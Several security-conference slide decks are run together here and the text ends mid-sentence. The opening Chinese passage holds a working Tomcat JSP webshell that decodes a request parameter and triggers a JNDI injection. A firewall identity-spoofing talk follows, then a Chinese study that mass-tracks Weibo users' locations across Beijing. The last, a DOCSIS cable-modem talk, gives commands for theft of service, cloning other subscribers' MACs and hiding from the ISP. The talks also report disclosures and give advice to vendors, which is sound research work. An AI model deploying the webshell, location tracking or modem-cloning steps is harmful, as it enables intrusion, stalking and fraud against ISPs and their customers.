digester.addRuleSet(contextRuleSet); RuleSet namingRuleSet = new NamingRuleSet("Context/"); digester.addRuleSet(namingRuleSet); digester.getParser(); //调⽤contextConfig函数执⾏利⽤过程 Method contextConfig = ContextConfig.class.getDeclaredMethod("contextConfig", Digester.class); contextConfig.setAccessible(true); contextConfig.invoke(ctConfig,digester); %> 深⼊思考 难道这就够了吗,看着这串又臭又长的webshell我⼀点都不满⾜,我想让这个webshell更短⼀ 点,那么为了实现这⼀步那就得跟深⼊的对利⽤流程进⾏跟踪 我们可以发现在 org.apache.catalina.startup.ContextConfig#contextConfig ,在 调⽤ processContextConfig 的时候 可以看到在实际上主要的步骤还是在对 Digester 对象继续的添加加载器等操作以及最终调 ⽤parse函数,在其中唯⼀多出来的部分就是这个InputSource 那么去掉⼀些⽆关的操作最终得到,当然这部分就是⾃⼰寻找的过程就没必要写进来了 测试执⾏成功 <% org.apache.tomcat.util.digester.Digester digester = new org.apache.tomcat.util.digester.Digester(); digester.addRuleSet(new org.apache.catalina.startup.ContextRuleSet("", false)); org.xml.sax.InputSource inputSource = new org.xml.sax.InputSource(); inputSource.setByteStream(new java.io.ByteArrayInputStream(java.util.Base64.getDecoder().decode(request. getParameter("cmd")))); digester.parse(inputSource); %> 其中cmd解码内容为 当然还有个关键的就是不要忘了启动⼀个恶意jndi服务 <?xml version='1.0' encoding='utf-8'?> <Context> <Manager className="com.sun.rowset.JdbcRowSetImpl" dataSourceName="rmi://127.0.0.1/Exploit" autoCommit="true"></Manager> </Context>
pdf
Hi! I’m DOMAIN\Steve, please let me access VLAN2. Tricking firewall user identity capabilities into applying security policies to arbitrary IPs on the network. Get-ADUser "Justin Perdok" @JustinPerdok on Twitter Into hacking and automating stuff Pentester at Orange Cyberdefense Enjoys craft beers and longboarding Outline The Tool The Story The Solution The Takeaways The Pwn Storytime The Story Storytime Storytime Storytime The dangers of Client Probing on Palo Alto Firewalls (Estaban Rodriguez @ Coalfire) The risk of Authenticated Vulnerability Scans (Xavier Mertens @ SANS) Palo Alto Credential Exposure (HD Moore @ Project Sonar) 2019 2014 2018 Storytime 1 2 3 Named pipes Named pipes Traditional segmentation The Solution Traditional segmentation Traditional segmentation Traditional segmentation untagged VLAN2 untagged VLAN1 Traditional segmentation Traditional segmentation Tagged VLAN 1, 2 Tagged VLAN 1, 2 Untagged ports Untagged Ports Step through Traditional segmentation Traditional segmentation *Overdramatic example Exploring $Vendor1 Active Directory authentication logs Syslog servers And more! Client Probing Exploring $Vendor1 Exploring $Vendor1 The sysadmin in me Exploring $Vendor1 The hacker in me Exploring $Vendor1 Client Probing Exploring $Vendor1 Client Probing Exploring $Vendor1 Client Probing I'd like access to the VIP fridge pls. My hotel room number is (192.168.56.)148. (ping vip-fridge.tld) Exploring $Vendor1 Client Probing Ahh, room 148. Our system doesn't know who's currently checked into this room. What is your name sir ? (NetWkstaUserEnum Request) Exploring $Vendor1 Client Probing My name is Justin. (NetWkstaUserEnum Response) Exploring $Vendor1 Client Probing Hi, Mr. Perdok. Sorry, you are not allowed to access the VIP fridge due our hotel policy. VIP clients only. Exploring $Vendor1 Oversight of Client Probing ? Steve ! Exploring $Vendor1 Oversight of Client Probing ? I'd like access to the VIP fridge pls. My hotel room number is (192.168.56.)149. (ping vip-fridge.tld) Exploring $Vendor1 Oversight of Client Probing ? Aah, room 149. Our system doesn't know who's currently checked into this room. What is your name sir ? (NetWkstaUserEnum Request) Exploring $Vendor1 Oversight of Client Probing ? My name is Steve. (Spoofed NetWkstaUserEnum Response) Exploring $Vendor1 Oversight of Client Probing ? Hi, Mr. McGreeve. I see you bought our VIP package. Of course you are allowed to access the VIP fridge! Exploring $Vendor1 Client probing: "I trust client side without validation." Hackers around the world: Exploring $Vendor1 ping vipbeer-fridge.tld NetWkstaUserEnum Request Spoofed NetWkstaUserEnum Response ? Exploring $Vendor1 Exploring $Vendor1 Exploring $Vendor1 Exploring $Vendor1 Exploring $Vendor1 Exploring $Vendor1 Exploring $Vendor1 Exploring $Vendor1 Exploring $Vendor1 Exploring $Vendor1 Exploring $Vendor1 Exploring $Vendor1 Exploring $Vendor1 Exploring $Vendor1 Client in VLAN1 User-ID agent Firewall The VIP Fridge in VLAN2 Exploring $Vendor1 Cache AD Logs 0 Exploring $Vendor1 1. ping vip-fridge.tld from 192.168.2.149 Cache 0 AD Logs Exploring $Vendor1 1. ping vip-fridge.tld from 192.168.2.149 ACL with User-ID 2 Hold up. Need to know your name. Cache 0 AD Logs Exploring $Vendor1 1. ping vip-fridge.tld from 192.168.2.149 Cache 0 AD Logs ACL with User-ID 2 Exploring $Vendor1 ACL with User-ID 2 Cache 0, 4 AD Logs 1. ping vip-fridge.tld from 192.168.2.149 Exploring $Vendor1 ACL with User-ID 2 1. ping vip-fridge.tld from 192.168.2.149 Cache 0, 4 AD Logs Exploring $Vendor1 Lolwut ? Unsupported DCERPC. ACL with User-ID 2 1. ping vip-fridge.tld from 192.168.2.149 Cache 0, 4 AD Logs Building the tool The Tool Building the tool https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-WKST/%5BMS-WKST%5D.pdf Building the tool Building the tool Building the tool Building the tool Building the tool Building the tool 5. NetWkstaUserEnum Request Building the tool Building the tool Building the tool The Pwn Lolwut ? Unsupported DCERPC. ACL with User-ID 2 1. ping vip-fridge.tld from 192.168.2.149 Cache 0, 4 AD Logs The Pwn The Pwn ACL with User-ID 2 1. ping vip-fridge.tld from 192.168.2.149 Cache 0, 4 AD Logs The Pwn Cache 0, 4, 7 AD Logs ACL with User-ID 2 1. ping vip-fridge.tld from 192.168.2.149 AD Logs The Pwn Cache 0, 4, 7 AD Logs ACL with User-ID 2 1. ping vip-fridge.tld from 192.168.2.149 The Pwn User matches = Allow Access User mismatch = Block Access ACL with User-ID 2, 9 Cache 0, 4, 7 AD Logs 1. ping vip-fridge.tld from 192.168.2.149 Building the tool Github https://github.com/justin-p/impacket https://github.com/SecureAuthCorp/impacket/pull/965 Other $Vendors NetAPI $Vendor2 $Vendor2 Caveats SMB Guest Access Caveats SMB Guest Access Caveats SMB Guest Access Disclosure Palo Alto 22 Okt. 2020 8 Jan. 2021 > Now 6 Okt. 2020 2 Nov. 2020 > 8 Jan. 2021 04 01 03 02 Started disclosure with Palo Alto "Moving forward NetBIOS support will be removed from User-ID." Issue would not warrent a CVE since it was an issue with ‘the protocol’, not Palo Alto. Was added to the Hall of Fame. Status of dropping NetBIOS unknown. "Customers do have a way to not use this feature, so in essence the fix is already present in the product." Disclosure SonicWALL Started disclosure with SonicWALL 11 Nov. 2020 6 Okt. 2020 01 02 Informed me that vuln was a duplicate. Proposed fix that would prompt a warning if the user "Administrator" was configured in the agent. Disclosure SonicWALL CVE-2020-5148 Shared my concerns regarding the proposed fix and wanted to verify which of the two findings where duplicates. 11 Nov. 2020 5 Mar. 2021 6 Okt. 2020 11 Nov. 2020 > 3 Mar. 2021 04 01 03 02 Started disclosure with SonicWALL Informed me that vuln was a duplicate. Proposed fix that would prompt a warning if the user "Administrator" was configured in the agent. Disclosure SonicWALL Disclosure SonicWALL Checks the name (not effective rights) of the service account when updating this in the agent. Not checked during installation itself when this is initially set. The ol’ if-statement Default Probing Method NetAPI no longer default probing method. New documentation They now advice to create service account with local admin rights for "NetAPI" based probing. What's next ? \\.\PIPE\WINREG $OtherProducts Abuse Cache WMI $Vendor3 What about systems other then firewalls ? Some firewalls vendors use the WINREG named pipe for probing. Potentially also exploitable. Reuse a ip that has a user-to-ip cached. Lots of vendors support WMI. No tooling like impacket available (afaik). Suspect they are vulnerable. Already started responsible disclosure process. The Takeaways Conclusions & Takeaways Sometimes security features can be insecure Why client probing is generally a bad idea Client Probing Feature!=Secure Thanks! Contact: @JustinPerdok on Twitter. If I got something wrong, please let me know :) Github url https://github.com/justin-p/impacket CREDITS: This presentation template was created by Slidesgo, including icons by Flaticon, and infographics & images by Freepik Impacket code
pdf
I Know Where You Are: 基于LBSN APP的地理位置追踪 2015年9月1日 赵 双(DFlower) 羅夏樸(Xiapu Luo) 1 Who AM I  赵双 (DFlower, dflower.zs@gmail.com) • Insight-Labs Team 成员 (http://insight-labs.org) • 研究领域:漏洞挖掘/恶意代码分析/手机安全 • 《0day安全:软件漏洞分析技术》(第2版)作者之一 • OWASP China 2010、 Xcon 2011 Speaker  羅夏樸 (Xiapu Luo, luoxiapu@gmail.com) • RAP in HKPolyU • 研究領域:手機安全,網絡安全 • Papers published in major security conferences (e.g., NDSS, BlackHat, Defcon, etc.) 2 目录  LBSN APP 介绍  基于LBSN APP进行地理位置追踪  实例: 追踪全北京新浪微博用户的地理位置  给APP厂商的建议 3 LBSN APPs  LBSN: Location-based Social Network,基于位置的 社交网络  很多LBSN APP具有“发现附近的人(Nearby)”功能 微信 Wechat 米聊 Mitalk 陌陌 Momo 新浪微博 Weibo 4 LBSN APPs  很多LBSN APP具有“发现附近的人(Nearby)”功能 SKOUT SayHi Badoo LOVOO 5 LBSN APPs  很多LBSN APP具有“发现附近的人(Nearby)”功能 当用户使用Nearby功能时: • 上传自己位置信息 • 寻找自己所处位置周边的陌生人 • 允许其他人在一定时间内发现自己 ………………………………………………………………… User Server Database t t search people in database save user1’s location User1 searches people nearby User1 is found by user2 User1 is not found by user3 save user2’s location User2 searches people nearby Save user3’s location User3 searches people nearby search people in database search people in database Result 6 目录  LBSN APP 介绍  基于LBSN APP进行地理位置追踪  数据发送  数据获取  数据挖掘  DEMO: Mitalk, Wechat, Weibo  实例: 追踪全北京新浪微博用户的地理位置  给APP厂商的建议 7 如何基于LBSN APP进行位置追踪? 1. 数据发送: 登录APP并在不同的地理位置搜索附近的人 2. 数据获取: 获得{时间,地点,人}数据集 3. 数据挖掘: 数据集信息足够多的情况下,可对目标的日常活动范围和轨迹 进行追踪 8 数据发送 针对不同类型的APP,采用不同的数据发送方式: 1. 构造数据包 2. 模拟器仿真 APP信息 数据安全性 利用难度 APP Googlepl ay下载量 (million) 360电子市 场下载量 (million) 位置精确 度( APP中) 数据传输方式 爬取APP位置数据方式 利用难度 Weibo 5-10 456 100m 明文 构造数据包 低 MeetMe 10-50 0.001 100m 明文 构造数据包 低 Skout 10-50 0.06 1000m 明文 构造数据包 低 SayHi 10-50 0.04 100m 明文 构造数据包 低 Badoo 50-100 0.07 1000m SSL单向认证 (参数不明) 构造数据包 /模拟器仿真 ? Momo 1-5 168 10m SSL单向认证 构造数据包 低 Mitalk 0.5-1 17 100m 带加密参数的明文 破解加密参数&构造数据包 /模拟器仿真 高 LOVOO 10-50 0.001 0.1mile SSL单向认证,带 加密参数 破解加密参数&构造数据包 /模拟器仿真 高 Wechat 100-500 455 100m SSL双向认证 替换证书&构造数据包 /模拟器仿真 高 9 1. 数据发送 1. APP数据明文传输 典型APP:Weibo,Meetme,SayHi, Skout 方式:构造并发送包含特定地理位置的数据包,获取该位置附近的人 • Weibo • Meetme • SayHi • Skout 10 1. 数据发送 2. APP数据采用HTTPS传输(SSL单向认证) 典型APP:Momo 2014 方式:使用伪造证书的方式还原HTTPS数据包,然后构造并发送包含特定地理 位置的数据包,获取该位置附近的人 • Momo 11 1. 数据发送 3. APP数据采用HTTPS传输(SSL双向认证/SSL Pinning) 典型APP:Wechat, Momo 2015 方式:Android模拟器+UIAutomator等自动化测试架构模拟用户操作,通过 修改模拟器地理位置获取获取该位置附近的人 模拟Wechat用户操作: getUiDevice().pressHome(); //点击“Home” UiObject wxApp = new UiObject(new UiSelector().text(“WeChat”)); //寻找Wechat图标 wxApp.clickAndWaitForNewWindow(); //启动Wechat UiObject discoverTab = new UiObject(new UiSelector().text(“Discover”)); //点击 “Discover”标签 UiSelector uiSelector = new UiSelector().text(“People Nearby”); //寻找“People Nearby“按钮 UiObject nearbyButton = new UiObject(uiSelector); nearbyButton.clickAndWaitForNewWindow(); //点击“People Nearby“按钮 12 1. 数据发送 4. APP数据明文传输,但包含加密参数 典型APP:Mitalk,LOVOO 抓取方式: 1)破解加密参数,构造并发送包含特定地理位置的数据包,获取该位置附近的人 2)Android模拟器+自动化测试框架 13 DEMO - mitalk加密参数破解 • 数据包分析 1)抓取APP获取“附 近的人”时发送的数 据包 2)更改数据包中的 latitude/longitude 值后重放 3)返回Error 4)多次对比APP发送 的数据包发现,uuid 是账号,token在登 录之后保持不变,参 数s是对所有其他参数 的校验,服务器通过 校验s的值来判断数据 包是否被篡改 14 DEMO - mitalk加密参数破解 • 破解参数s的计算过程 s = b(name1=value1&name2=value2&...&paramString1) s由paramList和paramString1计算而来,跟踪a(paramList, paramString)函数 逆向mitalk的APK(apktool/dex2jar/JD-GUI……),寻找s参数的生成过程 可以看出,函数把paramList中的各个参数按照字母顺序排序后用 “[name1]=[value1]&[name2]=[value2]...”的形式连接,最后再加上"&paramString1" 15 DEMO - mitalk加密参数破解 • 破解参数s的计算过程 将apk反编译为smali代码,加入Logcat代码打印paramString1,之后重打包 APK,安装到手机,运行mitalk并查看Logcat日志,即可得到paramString1 的值(也是登录之后固定不变的) 至此,我们得到的结果是: s = b(name1=value1&name2=value2&...&paramString1),每个参数的值 都是已知的,只要破解出加密算法com.xiaomi.channel.d.f.a.b就可以了 16 DEMO - mitalk加密参数破解 • 破解参数s的计算过程 而函数com.xiaomi.channel.d.f.a.b也是用Java写的,因此也很容易被反编译 (比如使用dex2jar/JD-GUI/ AndroChef Java Decompiler等) 至此,s参数破解完成,便可以用 程序来模拟mitalk在不同的地理 位置发送数据包获得“附近的 人”了。 17 2. 数据接收 1. 构造数据包方式: 返回结果解析(Json/XML…) 2. 模拟器仿真方式: UIAutomator识别界面文字 18 2. 数据接收 • 返回结果解析 米聊(Mitalk) 19 2. 数据接收 • 返回结果解析 很多APP虽然在界面中降低了地理位置精度(如只精确到100m), 但是在抓取到的数据包中,却能获取到许多额外的结果 20 2. 数据接收 • 返回结果解析 陌陌(Momo) APP中地理位置精度:0.01km=10m(距离) 数据包中地理位置精度:0.000000000001m (距离) 21 2. 数据接收 • 返回结果解析 SayHi APP中地理位置精度:0.01km=10m(距离) 数据包中地理位置精度:经纬度0.000001°≈0.1m(坐标) 22 2. 数据接收 • 返回结果解析 新浪微博(Weibo) APP中地理位置精度:100m(距离) 数据包中地理位置精度:经纬度0.00001°≈1m(坐标) & 上次出现时间 23 2. 数据接收 • UIAutomator识别 微信(Wechat) 模拟用户滑动列表直至最底部,解析界面内容 24 2. 数据接收 DEMO:Wechat数据发送和读取 25 2. 数据接收 DEMO:Weibo数据发送和读取 26 3. 数据挖掘 • 地理位置信息展示 获取的数据类型 展示方式 经纬度 坐标 距离 以探测点为圆心,距 离为半径的圆圈 可以用三点/多点定位 法缩小范围 范围展示(Wechat) 坐标展示(Weibo) 三点/多点定位 缩小范围 (Momo) Point1 Point2 27 小结:不同LBSN APP的安全性和利用难度比较 APP信息 数据安全性 利用难度 APP GooglePlay下载 量(million) 位置精确度 (APP中) 位置精确度 (数据包中) 数据传输方式 爬取APP位置 数据方式 利用 难度 爬取到的数 据精确度 Weibo 5-10 100m 1m(经纬度) , 有lasttime 明文 构造数据包 低 很高 MeetMe 10-50 100m 100m(距离) 明文 构造数据包 低 中 Skout 10-50 1000m 0.01m(距离) (center: city) 明文 构造数据包 (多条) 低 低 SayHi 10-50 100m 0.1m(经纬度) 明文 构造数据包 低 很高 Badoo 50-100 1000m -- SSL单向认证(数据 包参数不明) ? 中 Momo 1-5 10m <1mm(距离) SSL单向认证 构造数据包 低 高 Mitalk 0.5-1 100m 100m(距离) 带加密参数的明文 破解算法&构 造数据包 高 中 LOVOO 10-50 0.1mile 100m(距离) 有lasttime SSL单向认证,带加 密参数 破解算法&构 造数据包/模 拟器仿真 高 中 Wechat 100-500 100m -- SSL双向认证 模拟器仿真 高 中 28 目录  LBS APP 介绍  基于LBS APP进行地理位置追踪  实例: 追踪全北京新浪微博用户的地理位置  DEMO: Weibo Wall of Sheep  给APP厂商的建议 29 实例:Weibo 地理位置探测和挖掘 • 探测范围:北京五环内,约870km2 • 探测点:896 • 探测时间:30天/约90天 • 占用资源:1台普通配置的PC • 探测到的数据: 17,248,143(30天) 59,793,831(约90天) • 探测到的人数 219,876 (30天) 526,533 (约90天) • 数据内容:{用户id/nickname,用户坐标,上次出现时间} 30 实例:Weibo 地理位置探测和挖掘 • 探测数据时间分布: 0 0.2 0.4 0.6 0.8 1 1.2 1.4 1.6 1.8 0 3 6 9 12 15 18 21 24 Probed Data (million) Hour of Day 0 10 20 30 40 50 60 70 3/10 0:00 3/10 4:00 3/10 8:00 3/10 12:00 3/10 16:00 3/10 20:00 3/11 0:00 3/11 4:00 3/11 8:00 3/11 12:00 3/11 16:00 3/11 20:00 3/12 0:00 3/12 4:00 3/12 8:00 3/12 12:00 3/12 16:00 3/12 20:00 3/13 0:00 3/13 4:00 3/13 8:00 3/13 12:00 3/13 16:00 3/13 20:00 3/14 0:00 3/14 4:00 3/14 8:00 3/14 12:00 3/14 16:00 3/14 20:00 3/15 0:00 3/15 4:00 3/15 8:00 3/15 13:00 3/15 17:00 3/15 21:00 Probed Data (thousand) Probe Time 用户暴露地理位置的时间 峰值:18:00 – 0:00 谷值: 1:00 – 7:00 用户在傍晚(下班后)到午夜前(睡 觉前)的社交活动比白天更为活跃 31 实例:Weibo 地理位置探测和挖掘 • 探测数据地理位置分布(0:00-24:00) 32 实例:Weibo 地理位置探测和挖掘 • 追踪用户位置 猜测:大部分用户习惯在相对固定的地理位置浏览 “周边人/周边微博”(比如在公司或家附近) 对这类用户,找到其经常暴露出的地理位置,即可对其实现追踪 33 实例:Weibo 地理位置探测和挖掘 • 追踪用户位置 为了验证上述猜测,对探测到的用户出现的位置进行聚类, 在聚类中,距离在1km之内的不同坐标点会被聚类为同一个位置 结果: 76.5%的用户:经常出现在1个位置 15.75%的用户:出现在2个位置 4.35%的用户:出现在3个位置 3.4%的用户:出现在3个以上位置 0 200 400 600 800 1000 1200 1400 1600 1800 0 2 4 6 8 10 12 14 Number of persons Number of places 10 geolocations clustered to 3 places 34 实例:Weibo 地理位置探测和挖掘 • 追踪用户位置 03:00~09:00 UTC(本地时间11:00~17:00) 红领巾公园 12:00~15:00 UTC(本地时间20:00~22:00) 天宝源三里(住宅区)  工作地点  家庭地点 35 实例:Weibo 地理位置探测和挖掘 • 追踪用户位置:部分安全公司帐号/员工帐号追踪 36 实例:Weibo 地理位置探测和挖掘 • 被探测到地理位置的部分大V(实名认证)帐号 个人帐号 企业帐号 37 实例:Weibo 地理位置探测和挖掘 • DEMO: Weibo Wall of Sheep (Beijing) 38 实例:Weibo 地理位置探测和挖掘 • DEMO: Weibo Wall of Sheep (Taipei) 39 Demo URL 40 41 目录  LBS APP 介绍  基于LBS APP进行地理位置追踪  实例: 追踪全北京新浪微博用户的地理位置  给APP厂商的建议 42 给APP厂商的建议 不要用明文传输!不要用明文传输!不要用明文传输! 使用双向SSL、SSL Pinning等技术防止HTTPS内容被拦截 后台服务接口应当只提供APP需要的数据,不要把所有数据都扔 给前端的APP来处理 Android APP中的重要代码(如加密算法)使用Native Code或 其他防破解机制 43 DFlower <dflower.zs@gmail.com> Xiapu Luo <luoxiapu@gmail.com> 44
pdf
1 http://www.soldierx.com/defcon16speech/docsis_insecure_by_design-blake_durandal.ppt Humor 2 Maybe Ted Stevens has a series of hacked modems and a drop amp at his place. Could this be the reason he thinks that the internet is a series of tubes? Background • Personal – Conducted SIPRNET Administration and Red Team Penetration Testing for the USMC. – I currently do research for SERC (Software Engineering Research Center), an NSF Industry/University Cooperative Research Center. • Speech – A much shorter version of this presentation was given at the Spring 2008 SERC Showcase. – Various people (such as Durandal from SOLDIERX) have used the methods in this Defcon presentation to put and keep modems online. 3 What This Speech Will Cover • Requirements (for our examples) • Network Overview • Anonymous Access – Gaining service with a non provisioned MAC address • Cloning a HFC MAC linked to an ISP account • How Anonymous You Really Are – How close ISPs can pinpoint your location as well as techniques to catch people abusing/stealing service • Firmware Overview • Hardware and Security – Specifications, firmware disassembly, current and future security solutions 4 Requirements • What do you need for our examples? – Coaxial connection to the cable company – JTAG cable • MIPS EJTAG (Enhanced Joint Test Action Group) – - USB Cypress or FTDI based JTAG (Fast) – - Parallel buffered/unbuffered JTAG (Slow) – SB5100/5101 cable modem • Other modems can be modified – Soldering Skills + 10 pin header • YouTube is an excellent resource for soldering reference – Applications for flashing the firmware onto a modem • Parallel - Schwartze Katze by tcniso.com • USB - USB JTAG from usbjtag.com 5 Requirements In Depth • Cable connection • EJTAG Cable – Easy to make – Available online • USBJtag – Difficult to make – Really fast 6 Requirements In Depth (cont’d) 7 Requirements In Depth (cont’d) • Modify the SB5100/5101 or buy a Premod – (available from sites like www.sbhacker.net) 8 Requirements In Depth (cont’d) • Program the SB5100/5101 using Schwarze Katze/USB JTAG. 9 Modified Firmware • Features of Sigma X2/Haxorware: – Enable factory mode – Change all associated MAC Addresses – Change serial number – Disable ISP firmware upgrade – Disable reboots – Force network access (ignore unauthorized messages) – Disable & Set ISP filters (ports blocked at modem level) – Specify config filename and TFTP server IP address – Force config file from ISP, local TFTP or uploaded flash memory. – Get & Set SNMP OID values and Factory mode OID values – Broadcom CLI access through serial connection or telnet – Full shell access to VxWorks/eCos (unix-like OS) – Upload, flash and upgrade firmware 10 Cable Network Overview 11 Anonymous Internet Access • For our example of anonymous internet access, we will be using Comcast. • Why Comcast? – According to Alex Goldman’s research on isp-planet.com, as of the fourth quarter of 2007 - Comcast is the second most used ISP in the United States, and the number one used ISP using DOCSIS. (http://www.isp- planet.com/research/rankings/usa.html) • If you hook a non-provisioned modem into the Comcast network, the only page that comes up is a Comcast page asking you to sign up for service. • You can generally connect inbound to the computer that is hooked up to the modem but you cannot connect outbound from the computer. • Changing the DNS servers gives you the ability to connect out (some of the time). Forcing a config file at this point is all that is necessary to increase the service class for a non provisioned modem. • Disabling SNMP filters in the console removes port blocking at the modem level and allows a user to poll other modems for useful information on ISP that allow SNMP polling through the entire HFC network: – cd /snmp – filters off – type and return yes for changes to take immediate effect 12 Faster Speeds • Anonymous access is good, but faster anonymous access is better. • In order to increase speeds, you can force a faster configuration file from the ISP, served locally or from configs stored in flash memory. • You may specify a TFTP server, Comcast uses static instead of dynamic configs and each server has the same configuration files. • Some example configuration files that Comcast uses: – DOCSIS 1.0 • d10_m_sb5100_speedtierextreme2_c05.cm = 16/2 • d10_m_sb5100_showcase_c01.cm = 55/5 • d10_m_na_c05.cm = 0/0 (unrestricted) – DOCSIS 1.1 • d11_m_sb5100_speedtierextreme2_c05.cm = 16/2 • d11_m_sb5100_showcase_c01.cm = 55/5 • d11_m_na_c05.cm = 0/0 (unrestricted) 13 Changing the Configuration File • Navigate to http://192.168.100.1:1337 • The examples pictures are from Sigma X2 on the SB5100 14 You can either specify a file that exists on ISP server, local server or upload and serve a file from flash memory. Forcing you own custom config file is not generally possible. Changing the Configuration File • Navigate to http://192.168.100.1:1337 • The example is from Haxorware on the SB5101 15 Techniques for Remaining Anonymous • Disable the SNMP daemon after registration – cd /non-vol/snmp – diag_disable_post_reg true – write • Hide the Modem’s HFC IP Address (You cannot hide CPE IP addresses) – cd /non-vol/snmp – hide_ipstack_ifentries true – write • Hide Reported Software Version (system OID) – cd /snmp – delete sysDescr – write • These and other settings can be hard coded into or set by firmware for a desired result submitted to the CMTS. 16 Field Results • Various anonymous cable modem hackers have reported high success rates with zero signs of detection – Durandal has a machine on a business configuration that has been seeding torrents steadily for over a year – Many people have as many as 8 or more modems running concurrently – In all of these scenarios, the individuals are paying for service. They are simply splicing their line to add additional modems 17 Cloning • Basic Cloning involves specifying a provisioned HFC MAC address in order to get a class of service assigned to the MAC. • Due to the broadcast nature of the network, you must use a HFC MAC address that is on a CMTS other than yours. • This method allows you to then force any config file, but it associates your modem with someone else’s account. 18 Cloning (Cont’d) • The CMTS (Cable Modem Termination System) does not prevent the cloning of a MAC address from Node 3 to Node 1. 19 Obtaining Information for Cloning • MAC addresses are traded privately on forums and IRC. • Finding HFC MAC addresses on your node can be found by sniffing the DHCP packets that are sent from the CMTS to all modems. • Wireshark can filter out broadcasted packets to easily assemble a list of HFC MAC’s on a user’s node. • SNMP scanning the preferred method for obtaining HFC MAC’s for multiple nodes with ISP’s that allow it. • Exact clones can be used by obtaining all identifying information from the modem including the HFC MAC, ETHER MAC, USB MAC, Serial, and all BPI+ Certificates. • Exact clones are usually non-provisioned modems - the collective information simply allows the modem to pass initial authentication checks and gain network access. A faster config file would be forced to bypass the ISP assigned non- provisioned config that has a limited class of service. 20 How Anonymous Are You? • The Operations Support System is normally unable to pinpoint a modem to an exact location due to the design of the hybrid fiber coax cable network. • Usually, detection only goes as far as the node where the modem in question is located. 21 How Anonymous Are You? (cont’d) • Some ISPs poll for poor signal levels. – Technicians would disconnect each line to find out which line is causing the signal loss. – You can prevent this by using an amp if your signal strength is too low. We personally like the BDA-S1 Broadband Drop Amp from Motorola. – The downstream should be between -15 and +15 dBmV and the upstream should be between -35 to -50 (Upstream is always negative). • Many ISPs perform routine audits on lines that should not be connected in order to verify that they are not. – Most ISPs use colored tags to identify the account and service. • Some ISP have adopted & implemented (at a cost) ROC – Regional Operating Centers: independently networked to each CMTS that collectively maintains a customer MAC database. 22 Throwing Up a Red Flag • Not using previously discussed techniques for remaining anonymous. • Excessive torrenting. • FTP/Web Servers hosting Warez/Porn (or other types of heavily used services). • Using cloned MAC addresses without discretion, committing fraud crimes etc. • Splitting the connection too many times will weaken the signal and can cause techs to come out to check it. 23 Precautions to Take • Do not transfer personal information over unencrypted connections….EVER! • Keep an eye out for the party van (or cable technicians) • Pay for service on one modem and have another one hooked up that is modified for anonymous internet • Be careful with which HFC MAC addresses you clone • Remove line identifiers to assist in anonymity (especially at apartment complexes) 24 Response From the SERC Showcase • Anonymous Internet was not nearly as much of a concern as BPI/BPI+ in DOCSIS 1/1.1/2.0 – The maximum privacy that is offered via encryption is 56bit DES. 25 FIRMWARE OVERVIEW The good, the bad and the excellent… 26 Enter bitemytaco Pros • You may already have it, referred to as shelled firmware. • Every bit as functional as hacked firmware if you know what you’re doing. • Stock firmware straight from the manufacturer. Cons • RTFM. • May take some trial and error to configure for proper use. • No GUI. 27 Diagnostic Factory Firmware Pros • Works without too much trouble. • Fairly decent list of firmware features. • Based on altered versions of factory shelled firmware. Cons • Created by DerEngel’s hired group of coders. • You install a license to use it. • Costs money • Beware of possible backdoors and rebooting issues. 28 Sigma X2 Pros • Free alternatives to sigma (no licenses). • Improved features for a changing world. • Based directly off factory shelled firmwares. • Stable! Cons • Still some bugs. • So many features it can become confusing. 29 SB5100 MoD & SB5101 Haxorware Built from ECOS based SB5101 factory diagnostic firmware Features of current build, beta 0.9.2: – TFTP-enforce bypass – Local TFTP: serve TFTP over the ethernet interface – Autoserv & Client (upload and host configs from flash memory) – Set static HFC IP, subnet and gateway – Spoof vendor,model, version & change SNMP ports used – Console webshell & telnetd with diagnostic output – Webif authentication – Firmware upgrade via webif – Backup and restore complete flash & non-vol settings – Skipped modem config checks 30 Haxorware & Proof of the Future Hands down the most advanced firmware available for SB5101 or BCM3449 chipsets HARDWARE & SECURITY Make it simple, but not stupid…. 31 Enter devDelay • Presenter Background • Objectives • Cable modem hardware • Trust Meets Encryption & Authentication • Why and who is at fault? • Perspectives • Firmware Reversing • The Future • Problems & Solutions 32 Abstract • Why should you listen to me? • IT & IS Consultant • Actively pursuing CISSP certification • Active member & admin of SBH • Assisted Rajkohaxor (The Serbian Prodigy) on development design, debugging and testing of Haxorware with financial backing from Bitemytaco of SBH 33 Background Information 34 Objectives for Honest Discussions Provide an open forum for users, hackers, professionals & law enforcement: -Hacked modems exist, warrantless wiretaps legal? -Used for anonymous, free or faster internet -Virtually undetectable / Could be used for evil Understand & evaluate Docsis networks as a viable telecommunications protocol: -The nature of Docsis HFC networks & hardware -Security flaws & Best practices -Improper use and abuse by all parties -How can we make it better & Can We Coexist? • Just another computer – Chipset: Broadcom BCM3348/BCM3349 – Processor: 200MHz MIPS-32 core with MMU – RAM: 16-bit SDRAM bus with 8MB RAM (upgradeable) – Storage: 2MB Flash ROM – OS: RTOS (Real Time Operating System) • WindRiver’s VxWorks • ECOS (Embedded Configurable operating system) • QNX (Microkernels are good) • Unix-like UI • X86 or MIPS flavors 35 What is a Docsis Cable Modem? • BPI: Baseline Privacy Interface – Methods for encrypting traffic between the cable modem and the CMTS at triple 56bit DES with 768/1024 bit key modulus • BPI+: Baseline Privacy Interface Plus – Implemented in Docsis 1.1 Specs (Backwards compatible) – Introduces X.509 v3 (RSA 1024bit) digital certificates & key pairs – Authentication based on certificate hardware identity; validated when modem registers with a CMTS Certificates, Keys & The ‘trust ring’ – Stored in the non-vol settings of a modems firmware – Contains: Public, Private, and Root Keys, CM & CA Certificates – DOCSIS Root CA signs manufacturer CA intermediate certificate, manufacturer signs CM certificate. CMTS parses and verifies CM certificate, an identity based on HFC MAC 36 Trust: Encryption & Authentication • Hardware (blame the manufacturers) – Absolutely no physical security – Common hardware components • Software (blame the developers) – Initial hacks involved netboot/etherboot, enabling built in factory mode (implemented by the OS and enabled by setting a SNMP OID) or using stock (noisy) bootloaders. – Diagnostic firmware does the job, but better firmware with custom features is easy to make • ISP (blame the administrators) – Improperly configured CMTS – Security flaws in CMTS IOS – Costs & Convenience 37 Why hacking modems is possible? 38 Perspectives: Role Playing •Customers -Protect and respect our privacy -Provide us with quality but NOT limited service -Stop charging more when you’ve failed… •Hackers -You might expect this -We demand anonymous internet access (why not?) -You make it so easy, it seems like it’s on purpose -Not my fault the network is not configured properly -…You WILL still have a problem •ISPs -We should probably just lie -Let’s cut corners to save money -Unlimited user bandwidth bad (Customer monthly throughput < Profit) -You can’t do that on the Internets! -Your information is being sold to the highest bidder DISASSEMBLING THE FIRMWARE This firmware sucks!… 39 • Three types of firmware images: – 